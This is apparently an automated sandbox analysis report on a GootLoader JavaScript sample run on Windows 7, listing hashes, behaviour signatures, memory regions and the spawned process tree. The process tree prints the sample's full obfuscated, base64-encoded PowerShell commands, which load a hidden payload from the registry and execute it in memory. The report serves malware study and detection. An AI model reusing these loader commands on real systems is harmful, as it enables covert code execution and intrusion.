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Analysis

  • max time kernel
    43s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    23/09/2022, 14:28

General

  • Target

    gootloader-payload.js

  • Size

    245KB

  • MD5

    3793a0bc98b744d1ad1a41cad211c08d

  • SHA1

    69d470c25bef8d7185263a8288114db3903979e5

  • SHA256

    58105e33f351cfa7bde0c3c4dda630379f0f71ddf8dc2a1ce63ea194607f3551

  • SHA512

    e18b1f47db6efe21b78c81c05cb18ffbe73e3238a999858331be39a35f1548f975098ff81852f0637e9ee9170c43c0b0d8b63977d805717b7dc9333508a93b74

  • SSDEEP

    1536:WRml64QvRDKbimZOQyXjdBMWxXJUGkJPZF40nuOMdo4JpqU1vmROQxB/Nfr27NV5:ShPnluOo3xBX0iRSMzelxUtIATOCsd

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\gootloader-payload.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "/"e" M"gA5ADgANwA4ADUAM"QA5AD"UA"OwBzAG"wAZQ"BlAHA"AIAA"tAHMAIAA"3ADE"AO"wAkAGcAawB3AD0A"RwBlAHQ"A"LQBJAH"QAZQB"t"AFAAcgB"vAHA"AZQByAH"QAe"Q"AgAC"0AcABh"AHQAa"AAgACg"AIgBoAGsAIgA"rACIAYw"B"1AD"oAXABz"AG8A"Zg"Ai"ACsAI"gB0A"HcAIgArACI"AYQByAGU"A"XAB"tAGkAYwAiACsAIgBy"AG8AcwAi"ACsAIgBv"A"G"YAdABc"ACI"AK"wBbAEUAb"gB2AGkAcgB"vA"G4"AbQBl"AG"4"A"dABd"A"Do"AOgAoACIAdQB"zAGUAIg"Ar"A"CI"A"c"gBuAC"IA"K"w"Ai"A"GEAbQ"Bl"ACIAKQArACI"A"MAA"iACkAOwBmAG8Ac"gA"gA"Cg"AJA"BjAH"U"APQAwADsAJA"BjAHUAI"AAt"AGwAZ"QAgADcAMQAwADsA"JABj"AHU"A"KwA"rACkAewB"U"AHI"AeQ"B7A"C"QAZgB5"ACsA"PQAkAGcAawB3AC4"AJ"ABjAHU"AfQ"BDAGEAdABjAGgAewB9A"H"0AOwAkAGMAdQA9ADAAOw"B3"AGg"AaQBsAGUA"K"AAkA"HQAc"gB1AGUAKQB"7"ACQ"AY"wB1ACs"AK"wA7ACQAaw"BvA"D0AWwB"tAG"EAdA"BoAF0AOgA6ACgAIgBzAH"E"A"Ig"ArACIAcgB0ACIAKQA"oACQAY"wB1ACkA"OwBpAGYAKAAkAGsAbwAgAC"0A"ZQBxACAAMQAwADAAMA"ApA"H"sAYgB"yAG"UAYQBrAH0A"fQ"Ak"AHEAY"gByA"D0AJ"A"BmAHkALgByAGUAcABs"AGEAYwBlA"CgAI"g"AjACIALAA"kAGsAbwApADsAJA"B"p"A"HkAYQ"A9AFsA"YgB5AHQAZQBbAF0"AXQA6ADoA"KAAiA"G4A"ZQA"iACs"AIgB3A"CIAKQ"AoA"CQAcQ"BiA"H"IA"Lg"BM"AGUAbgBn"AHQAaAAv"A"DI"AKQA7AGYA"bwBy"ACgA"JA"B"jAHU"AP"Q"AwADsAJA"BjAHUAIAA"tAGw"AdAAgACQAcQ"B"iAH"IALgBMAGU"Ab"gB"nA"HQ"Aa"A"A"7ACQ"AYwB1"ACsAPQAyACkAew"AkAGkAeQBh"AFs"AJABjA"H"UA"Lw"AyAF0APQBbAGM"Abw"BuAH"YA"ZQBy"AHQAXQ"A6ADo"A"K"AA"i"A"FQ"Abw"BCACIAKw"AiA"HkAdABl"A"CIAKQAoA"C"Q"AcQB"iAHI"A"LgBTAHUAYgB"zAHQAcgBpA"G"4AZwA"oA"CQ"AY"wB1AC"wAMgAp"ACwAKAAyA"Co"AO"AA"pAC"kAf"QBbAHIAZ"QBm"AGw"A"ZQBjA"HQA"aQB"vA"G4ALgBhA"H"MA"cwBl"AG"0AY"g"BsAH"kA"XQA6AD"o"A"KAAiAEwAbwAiAC"sAI"gBhAGQAIgA"pACgAJABpAHk"AYQApADs"AWwBPAHAAZQBu"AF0"AOgA6ACgA"IgBUAGUAI"gArACIAcwB0ACIAKQAoACkAOw"A5ADYAMQA4ADIAM"AA5ADA"ANwA7A"A==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /e MgA5ADgANwA4ADUAMQA5ADUAOwBzAGwAZQBlAHAAIAAtAHMAIAA3ADEAOwAkAGcAawB3AD0ARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAiACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcACIAKwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgAoACIAdQBzAGUAIgArACIAcgBuACIAKwAiAGEAbQBlACIAKQArACIAMAAiACkAOwBmAG8AcgAgACgAJABjAHUAPQAwADsAJABjAHUAIAAtAGwAZQAgADcAMQAwADsAJABjAHUAKwArACkAewBUAHIAeQB7ACQAZgB5ACsAPQAkAGcAawB3AC4AJABjAHUAfQBDAGEAdABjAGgAewB9AH0AOwAkAGMAdQA9ADAAOwB3AGgAaQBsAGUAKAAkAHQAcgB1AGUAKQB7ACQAYwB1ACsAKwA7ACQAawBvAD0AWwBtAGEAdABoAF0AOgA6ACgAIgBzAHEAIgArACIAcgB0ACIAKQAoACQAYwB1ACkAOwBpAGYAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAYgByAGUAYQBrAH0AfQAkAHEAYgByAD0AJABmAHkALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApADsAJABpAHkAYQA9AFsAYgB5AHQAZQBbAF0AXQA6ADoAKAAiAG4AZQAiACsAIgB3ACIAKQAoACQAcQBiAHIALgBMAGUAbgBnAHQAaAAvADIAKQA7AGYAbwByACgAJABjAHUAPQAwADsAJABjAHUAIAAtAGwAdAAgACQAcQBiAHIALgBMAGUAbgBnAHQAaAA7ACQAYwB1ACsAPQAyACkAewAkAGkAeQBhAFsAJABjAHUALwAyAF0APQBbAGMAbwBuAHYAZQByAHQAXQA6ADoAKAAiAFQAbwBCACIAKwAiAHkAdABlACIAKQAoACQAcQBiAHIALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwB1ACwAMgApACwAKAAyACoAOAApACkAfQBbAHIAZQBmAGwAZQBjAHQAaQBvAG4ALgBhAHMAcwBlAG0AYgBsAHkAXQA6ADoAKAAiAEwAbwAiACsAIgBhAGQAIgApACgAJABpAHkAYQApADsAWwBPAHAAZQBuAF0AOgA6ACgAIgBUAGUAIgArACIAcwB0ACIAKQAoACkAOwA5ADYAMQA4ADIAMAA5ADAANwA7AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1852

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    194783cfed5b69a042177d40c01765a5

    SHA1

    9891e4352f8183ef98c52a697c3517f221e00656

    SHA256

    88db0219d8c945d21dd4572acef9e03b90b2a456748c69ddb5644e5c5f16019b

    SHA512

    47f9c1c89de02261b8eadbf138717a23f1b8892e3114a7a710bbdd3d8cb1051cbcd7aaa80634fea111c34ad677afe6437eaf2f19fbff9c67bc835f1053240e26

  • memory/1852-64-0x000007FEF3850000-0x000007FEF43AD000-memory.dmp

    Filesize

    11.4MB

  • memory/1852-68-0x00000000027BB000-0x00000000027DA000-memory.dmp

    Filesize

    124KB

  • memory/1852-67-0x00000000027B4000-0x00000000027B7000-memory.dmp

    Filesize

    12KB

  • memory/1852-66-0x00000000027B4000-0x00000000027B7000-memory.dmp

    Filesize

    12KB

  • memory/1852-63-0x000007FEF43B0000-0x000007FEF4DD3000-memory.dmp

    Filesize

    10.1MB

  • memory/1884-54-0x000007FEFB5C1000-0x000007FEFB5C3000-memory.dmp

    Filesize

    8KB

  • memory/1928-58-0x000007FEF3850000-0x000007FEF43AD000-memory.dmp

    Filesize

    11.4MB

  • memory/1928-65-0x00000000023A0000-0x0000000002420000-memory.dmp

    Filesize

    512KB

  • memory/1928-59-0x00000000023A0000-0x0000000002420000-memory.dmp

    Filesize

    512KB

  • memory/1928-57-0x000007FEF43B0000-0x000007FEF4DD3000-memory.dmp

    Filesize

    10.1MB